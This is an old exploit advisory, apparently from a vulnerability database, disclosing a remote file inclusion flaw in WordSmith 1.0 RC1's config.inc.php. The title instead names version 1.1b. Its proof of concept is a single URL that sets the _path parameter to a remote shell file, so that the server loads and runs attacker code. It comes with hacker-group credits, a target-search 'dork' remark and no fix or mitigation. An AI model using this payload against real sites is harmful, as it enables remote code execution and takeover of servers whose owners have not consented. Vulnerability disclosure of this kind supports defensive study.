Wordsmith 1.1b (config.inc.php _path) Remote File Inclusion Vuln

🗓️ 24 Sep 2007 00:00:00Reported by RootType

WordSmith 1.0 RC1 Remote File Inclusion vulnerabilit


                                                --==+===================&nbsp;Electronic&nbsp;Security&nbsp;Team&nbsp;(www.Yee7.com)&nbsp;====================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WordSmith&nbsp;1.0&nbsp;RC1&nbsp;(config.inc.php)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

Software:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WordSmith&nbsp;1.0&nbsp;RC1
SF&nbsp;page:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://sourceforge.net/news/?group_id=90418
exploit:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;[High&nbsp;Risk]
By:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShockShadow&nbsp;-&nbsp;Electronic&nbsp;Security&nbsp;Team&nbsp;(www.Yee7.com)
Home:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.Yee7.com
Download:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://skrypty.webpc.pl/pobierz13.html

##############################

==============
Dork:&nbsp;built&nbsp;in&nbsp;;)

PoC:
http://domain.com/Script_Path/config.inc.php?_path=http://shell.txt?
###############################

by:&nbsp;ShockShadow
Thanks&nbsp;to:&nbsp;Mr-m07,&nbsp;Al-Shikh,&nbsp;ThE&nbsp;WhitE&nbsp;WolF,&nbsp;HuRrIcAnE,&nbsp;S0m.Ph,&nbsp;KEENEST,&nbsp;Qanas&nbsp;Alyahood,&nbsp;Falcon&nbsp;Hammdan,&nbsp;ArabHacker
AND&nbsp;ALL&nbsp;FRIENDS&nbsp;

24 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1